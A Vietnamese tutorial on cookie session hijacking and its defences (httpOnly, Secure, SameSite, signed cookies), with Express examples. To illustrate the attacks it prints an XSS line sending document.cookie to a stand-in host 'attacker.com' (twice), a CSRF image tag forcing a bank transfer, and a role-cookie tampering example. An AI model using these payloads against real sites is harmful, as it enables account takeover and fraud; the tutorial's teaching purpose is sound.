Session Hijacking Từ Cookie - Bảo Vệ Bằng Secure & Signing
- 1. Cookies là gì?
- 2. Session Hijacking: Khi Cookie Trở Thành Mục Tiêu Tấn Công
- 3. Giải pháp 1: httpOnly - Ngăn JavaScript Đọc Cookie
- 4. Giải pháp 2: Secure - Bảo Vệ Cookie Trên Đường Truyền
- 5. Giải pháp 3: SameSite - Ngăn Chặn CSRF Attack
- 6. Giải pháp 4: Cookie Signing - Phát Hiện Chỉnh Sửa Trái Phép
- 7. Best Practices: Kết Hợp Tất Cả Các Biện Pháp
Bạn vừa đăng nhập thành công vào trang quản trị, nhưng chỉ vài phút sau, tài khoản của bạn bất ngờ bị chiếm quyền. Kẻ tấn công đã đánh cắp Session ID từ Cookie và mạo danh bạn mà không cần biết mật khẩu. Đây chính là Session Hijacking - một trong những lỗ hổng bảo mật nguy hiểm nhất khi làm việc với Cookie.
Bài viết này sẽ giúp bạn hiểu rõ cách kẻ tấn công khai thác Cookie để chiếm phiên đăng nhập, và quan trọng hơn - cách phòng tránh hiệu quả với httpOnly, Secure, SameSite và Cookie Signing. Nếu ứng dụng của bạn đang sử dụng Cookie để quản lý session, bạn cần đọc bài này ngay.
#
Cookies là các tập tin nhỏ được lưu trên trình duyệt của người dùng, cho phép trang web “ghi nhớ” các thông tin cần thiết (như ID phiên, lựa chọn ngôn ngữ, trạng thái đăng nhập, v.v.). Khi người dùng truy cập trang web, trình duyệt sẽ gửi các Cookies kèm theo trong header của mỗi yêu cầu (request) đến máy chủ (server).
#
- Trình duyệt (client) gửi yêu cầu (HTTP request) đến máy chủ.
- Máy chủ phản hồi (HTTP response) kèm theo một hoặc nhiều Cookies nếu cần.
- Trình duyệt lưu trữ các Cookies này và tự động gửi chúng trong các yêu cầu kế tiếp.
#1.2. Ví dụ minh họa
Dưới đây là một ví dụ đơn giản bằng JavaScript chạy trên trình duyệt để tạo và đọc Cookie:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Cookie Example</title>
</head>
<body>
<h1>Cookie Demo</h1>
<script>
// Tạo Cookie
document.cookie = "username=John; path=/";
// Đọc Cookie
console.log("All Cookies:", document.cookie);
// Kết quả hiển thị (trên Console) có thể là:
// "All Cookies: username=John"
</script>
</body>
</html>Trong ví dụ trên, Cookie có tên là username với giá trị là John. Thông thường, Cookie này sẽ được trình duyệt tự động gửi kèm theo các request đến cùng domain, giúp máy chủ nhận ra người dùng tên John đã truy cập.
#
Session Hijacking (chiếm quyền phiên) xảy ra khi kẻ tấn công đánh cắp Session ID từ Cookie của người dùng, sau đó sử dụng nó để mạo danh và truy cập trái phép vào tài khoản.
#2.1. Kịch bản tấn công thực tế
1
2
3
4
5
6
7
8
9
10
// Trang web lưu Session ID không bảo mật
document.cookie = "sessionId=abc123; path=/";
// Kẻ tấn công chèn mã độc qua XSS
const stolenCookie = document.cookie;
// Gửi Cookie về server của hacker
fetch('https://attacker.com/steal?cookie=' + stolenCookie);
// Giờ đây kẻ tấn công có thể dùng sessionId=abc123
// để mạo danh người dùng mà không cần mật khẩu!Luồng tấn công XSS để chiếm Cookie:
View Mermaid diagram code
sequenceDiagram
participant Attacker as Kẻ Tấn Công
participant User as Người Dùng
participant Browser as Trình Duyệt
participant Server as Server
Attacker->>Server: Post comment với <script>
User->>Server: Tải trang web
Server-->>Browser: HTML chứa mã độc
Browser->>Browser: Thực thi script độc
Browser->>Attacker: Gửi document.cookie
Note over Attacker: Có Session ID!
Attacker->>Server: Request với stolen cookie
Server-->>Attacker: Truy cập như người dùngNhững điểm yếu dẫn đến Session Hijacking:
- Cookie không có httpOnly: JavaScript có thể đọc được
document.cookie - Cookie gửi qua HTTP: Dữ liệu không mã hóa, dễ bị nghe lén trên mạng
- Cookie không ký (unsigned): Kẻ tấn công có thể chỉnh sửa giá trị
- Cookie không có SameSite: Dễ bị lợi dụng trong tấn công CSRF
Các phần tiếp theo sẽ hướng dẫn cách khắc phục từng điểm yếu này.
#
Thuộc tính httpOnly là tuyến phòng thủ đầu tiên chống lại tấn công XSS (Cross-Site Scripting). Khi Cookie có httpOnly, JavaScript không thể đọc được nó thông qua document.cookie.
#
1
2
3
4
5
6
// ❌ KHÔNG AN TOÀN: Cookie có thể bị đánh cắp qua XSS
document.cookie = "sessionId=abc123; path=/";
console.log(document.cookie); // "sessionId=abc123" - Đọc được!
// ✅ AN TOÀN: Thiết lập từ phía server với httpOnly
// Cookie này KHÔNG thể đọc bằng JavaScript#Ví dụ thiết lập httpOnly với Node.js/Express:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');
const app = express();
app.get('/login', (req, res) => {
const sessionId = Math.random().toString(36).substring(2);
// Thiết lập Cookie với httpOnly
res.cookie('sessionId', sessionId, {
httpOnly: true, // Ngăn JavaScript đọc Cookie
maxAge: 3600000 // 1 giờ
});
res.send('Logged in successfully!');
});
app.listen(3000);Giải thích:
- Cookie
sessionIdđược gửi về trình duyệt nhưng JavaScript không thể đọc được - Ngay cả khi kẻ tấn công chèn mã
<script>alert(document.cookie)</script>, họ sẽ không thấysessionId - Cookie vẫn được trình duyệt tự động gửi kèm mỗi request đến server
#3.2. Tại sao httpOnly quan trọng?
Giả sử trang web của bạn bị tấn công XSS qua comment không được lọc:
1
2
3
4
<!-- Kẻ tấn công post comment chứa mã độc -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>- Không có httpOnly: Session ID bị lộ, kẻ tấn công chiếm tài khoản
- Có httpOnly:
document.cookietrả về rỗng, Session ID được bảo vệ
#Lưu ý khi sử dụng httpOnly
- httpOnly chỉ phòng chống XSS, không phòng được CSRF hoặc tấn công qua mạng
- Cookie vẫn có thể bị đánh cắp nếu gửi qua HTTP (không mã hóa)
- Cần kết hợp với các biện pháp khác: Secure, SameSite, Cookie Signing
#
Thuộc tính Secure đảm bảo Cookie chỉ được gửi qua kết nối HTTPS (mã hóa). Nếu kết nối là HTTP, Cookie sẽ không được gửi, ngăn chặn kẻ tấn công nghe lén (sniffing) trên mạng.
#4.1. Tấn công Man-in-the-Middle (MITM) với HTTP
1
2
3
4
5
// ❌ NGUY HIỂM: Cookie gửi qua HTTP (không mã hóa)
res.cookie('sessionId', 'abc123', { httpOnly: true });
// Kẻ tấn công dùng Wireshark/tcpdump trên mạng WiFi công cộng
// có thể chặn và đọc được: sessionId=abc123Kịch bản thực tế:
- Người dùng đăng nhập trên mạng WiFi quán cà phê
- Kẻ tấn công dùng công cụ nghe lén mạng
- Session ID gửi qua HTTP bị lộ
- Kẻ tấn công dùng Session ID để đăng nhập
#4.2. Cách Secure bảo vệ
1
2
3
4
5
6
// ✅ AN TOÀN: Cookie chỉ gửi qua HTTPS
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true, // Chỉ gửi qua HTTPS
maxAge: 3600000
});Giải thích:
- Với
secure: true, Cookie không được gửi nếu URL làhttp://example.com - Cookie chỉ gửi khi URL là
https://example.com - Dữ liệu được mã hóa TLS/SSL, kẻ tấn công không đọc được
#Lưu ý khi dùng Secure
Môi trường localhost: Cookie có Secure không hoạt động trên
http://localhost. Giải pháp:1
2
3
4
5res.cookie('sessionId', sessionId, { httpOnly: true, secure: process.env.NODE_ENV === 'production', // Chỉ bật ở production maxAge: 3600000 });Kết hợp với httpOnly: Luôn dùng cả hai
1
2
3
4
5
6// ✅ Best practice res.cookie('sessionId', sessionId, { httpOnly: true, // Chống XSS secure: true, // Chống MITM maxAge: 3600000 });Triển khai HTTPS: Đảm bảo toàn bộ website dùng HTTPS, không chỉ trang login
#5. Giải pháp 3: SameSite - Ngăn Chặn CSRF Attack
Thuộc tính SameSite ngăn trình duyệt gửi Cookie khi request đến từ trang web khác (cross-site request), giúp phòng chống tấn công CSRF (Cross-Site Request Forgery).
#5.1. CSRF Attack hoạt động thế nào?
1
2
3
4
5
<!-- Trang web độc hại: attacker.com -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">
<!-- Nếu người dùng đã đăng nhập bank.com,
Cookie session sẽ tự động được gửi kèm request này! -->Kịch bản tấn công:
- Người dùng đăng nhập vào
bank.com(có Cookie session hợp lệ) - Người dùng vào trang
attacker.com(không đăng xuất bank.com) - Trang
attacker.comchứa form/link gửi request đếnbank.com - Trình duyệt tự động gửi Cookie của
bank.comkèm theo - Server
bank.comnghĩ đây là request hợp lệ và thực thi
Luồng tấn công CSRF:
View Mermaid diagram code
sequenceDiagram
participant User as Người Dùng
participant Bank as bank.com
participant Attacker as attacker.com
User->>Bank: Đăng nhập
Bank-->>User: Set-Cookie: sessionId=xyz
Note over User,Bank: User vẫn đăng nhập
User->>Attacker: Vào trang độc hại
Attacker-->>User: HTML với <img src="bank.com/transfer">
User->>Bank: GET /transfer (Cookie tự động gửi!)
Note over Bank: Cookie hợp lệ ✓
Bank-->>User: Chuyển tiền thành công
Note over Attacker: Lấy được tiền!#5.2. SameSite bảo vệ như thế nào?
1
2
3
4
5
6
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict', // Hoặc 'lax', 'none'
maxAge: 3600000
});Các giá trị của SameSite:
| Giá trị | Hành vi | Khi nào dùng |
|---|---|---|
| Strict | Cookie KHÔNG gửi khi request từ site khác | Session quan trọng (banking, admin) |
| Lax | Cookie chỉ gửi với GET request từ site khác | Hầu hết website (UX tốt hơn Strict) |
| None | Cookie luôn gửi (cần kèm Secure) | Embedded content, API cross-origin |
#Ví dụ thực tế với Strict:
1
2
3
4
5
6
// Thiết lập Cookie với SameSite=Strict
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});Kết quả:
- ✅ Request từ
bank.com→bank.com: Cookie được gửi - ❌ Request từ
attacker.com→bank.com: Cookie KHÔNG được gửi - ❌ Click link từ email →
bank.com: Cookie KHÔNG được gửi (người dùng phải đăng nhập lại)
#Ví dụ với Lax (khuyến nghị cho hầu hết trường hợp):
1
2
3
4
5
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax' // Cân bằng bảo mật và UX
});Kết quả:
- ✅ Click link từ email →
bank.com: Cookie được gửi (UX tốt) - ❌ POST request từ
attacker.com: Cookie KHÔNG được gửi (chống CSRF)
#5.3. Lưu ý khi dùng SameSite
SameSite=None yêu cầu phải có Secure (HTTPS):
1
2
3
4res.cookie('thirdParty', value, { sameSite: 'none', secure: true // BẮT BUỘC với SameSite=None });Mặc định của trình duyệt: Nếu không chỉ định, Chrome/Edge dùng
Lax, một số trình duyệt cũ dùngNone
#
#
1
2
3
4
5
6
7
8
9
10
// Giả sử server lưu role trong Cookie (KHÔNG AN TOÀN)
res.cookie('role', 'user', { httpOnly: true, secure: true });
// Người dùng mở DevTools, sửa Cookie:
// role=user → role=admin
// Server nhận Cookie và tin tưởng:
if (req.cookies.role === 'admin') {
// Cho phép truy cập admin panel! 🚨
}Vấn đề: Server không có cách nào biết Cookie đã bị chỉnh sửa.
#
Cookie Signing thêm một chữ ký mật mã (cryptographic signature) vào Cookie. Nếu Cookie bị thay đổi, chữ ký sẽ không hợp lệ.
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
// Secret key để ký Cookie (lưu trong environment variable)
app.use(cookieParser('my-super-secret-key-change-this'));
app.get('/login', (req, res) => {
// Tạo signed cookie
res.cookie('role', 'user', {
signed: true, // Bật cookie signing
httpOnly: true,
secure: true,
sameSite: 'lax'
});
res.send('Logged in as user');
});
app.get('/admin', (req, res) => {
// Đọc signed cookie
const role = req.signedCookies.role;
if (role === 'admin') {
res.send('Welcome to admin panel');
} else if (role === 'user') {
res.status(403).send('Access denied: User is not admin');
} else {
// Cookie bị chỉnh sửa hoặc không hợp lệ
res.status(401).send('Invalid cookie signature!');
}
});
app.listen(3000);Giải thích:
- Cookie
role=userđược ký với secret key - Trình duyệt nhận Cookie dạng:
s:user.HMAC_SIGNATURE - Nếu người dùng sửa
role=admin, chữ ký không khớp - Server phát hiện qua
req.signedCookies.roletrả vềfalse
#
| Đặc điểm | Signed Cookie | Encrypted Cookie |
|---|---|---|
| Bảo vệ | Phát hiện chỉnh sửa | Ẩn nội dung + phát hiện chỉnh sửa |
| Hiệu năng | Nhanh | Chậm hơn (encrypt/decrypt) |
| Khi nào dùng | Session ID, role | Dữ liệu nhạy cảm (email, phone) |
Lưu ý:
- Signed cookie vẫn có thể đọc được giá trị (chỉ phát hiện sửa đổi)
- Nếu cần giữ bí mật, dùng encrypted cookie hoặc lưu data trên server (chỉ lưu session ID trong cookie)
#7. Best Practices: Kết Hợp Tất Cả Các Biện Pháp
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser(process.env.COOKIE_SECRET));
app.post('/login', async (req, res) => {
// Xác thực người dùng...
const sessionId = generateSecureSessionId();
// ✅ Cookie an toàn với TẤT CẢ các biện pháp
res.cookie('sessionId', sessionId, {
httpOnly: true, // Chống XSS
secure: true, // Chỉ HTTPS
sameSite: 'strict', // Chống CSRF
signed: true, // Phát hiện tampering
maxAge: 3600000, // 1 giờ
path: '/'
});
res.json({ success: true });
});#
| Biện pháp | Mục đích | Bắt buộc? |
|---|---|---|
| httpOnly | Chống XSS | ✅ Có (session cookie) |
| Secure | Chống MITM | ✅ Có (production) |
| SameSite | Chống CSRF | ✅ Có (khuyến nghị lax) |
| Signed | Chống tampering | ⚠️ Tùy dữ liệu |
| MaxAge/Expires | Giới hạn thời gian | ✅ Có |
| Path | Giới hạn scope | ⚠️ Tùy ứng dụng |
| Domain | Chia sẻ subdomain | ⚠️ Cẩn thận |
Sơ đồ quyết định: Chọn thuộc tính Cookie nào?
View Mermaid diagram code
flowchart TD
Start([Cookie chứa gì?]) --> SessionID{Session ID?}
SessionID -->|Có| AllFlags[httpOnly + Secure<br/>+ SameSite + Signed]
SessionID -->|Không| Sensitive{Dữ liệu<br/>nhạy cảm?}
Sensitive -->|Có| DontStore[❌ KHÔNG lưu trong Cookie<br/>Lưu trên server]
Sensitive -->|Không| UserPref{User preferences<br/>công khai?}
UserPref -->|Có| Basic[httpOnly + Secure<br/>+ SameSite]
UserPref -->|Không| Tracking{Tracking/<br/>Analytics?}
Tracking -->|Có| Minimal[Secure + SameSite=lax]
Tracking -->|Không| AllFlags
AllFlags --> Final[✅ Cookie an toàn]
Basic --> Final
Minimal --> Warning[⚠️ Cẩn thận GDPR]
DontStore --> Encrypt[Hoặc dùng Encrypted Cookie]#7.3. Các lỗi phổ biến cần tránh
❌ Lỗi 1: Lưu dữ liệu nhạy cảm trong Cookie
1
2
3
// NGUY HIỂM - Đừng làm thế này!
res.cookie('password', userPassword);
res.cookie('creditCard', cardNumber);✅ Giải pháp: Chỉ lưu Session ID, dữ liệu nhạy cảm lưu trên server.
❌ Lỗi 2: Thiết lập Domain quá rộng
1
2
// Cookie này có thể bị đọc bởi TẤT CẢ subdomain
res.cookie('sessionId', id, { domain: '.example.com' });✅ Giải pháp: Chỉ dùng khi thực sự cần chia sẻ giữa subdomain.
❌ Lỗi 3: Cookie không có thời hạn (permanent cookie)
1
2
// Cookie tồn tại mãi mãi cho đến khi người dùng xóa
res.cookie('sessionId', id, { httpOnly: true, secure: true });✅ Giải pháp: Luôn thiết lập maxAge hoặc expires.
#7.4. Tóm tắt các tấn công và biện pháp phòng chống
| Tấn công | Cách thức | Phòng chống |
|---|---|---|
| XSS | Chèn JS để đọc document.cookie | httpOnly: true |
| MITM | Nghe lén Cookie trên mạng HTTP | secure: true |
| CSRF | Lợi dụng Cookie từ site khác | sameSite: 'lax'/'strict' |
| Tampering | Sửa giá trị Cookie | signed: true |
| Session Fixation | Ép dùng Session ID cũ | Regenerate session sau login |
Vậy là bạn đã hiểu cách Session Hijacking xảy ra và cách phòng tránh hiệu quả với httpOnly, Secure, SameSite và Cookie Signing. Trong thực tế, hãy luôn kết hợp TẤT CẢ các biện pháp này cho session cookie - đừng bỏ qua bất kỳ lớp bảo vệ nào. Bảo mật Cookie không chỉ là best practice mà là yêu cầu bắt buộc để bảo vệ người dùng khỏi các cuộc tấn công nghiêm trọng. Hãy áp dụng ngay vào dự án của bạn!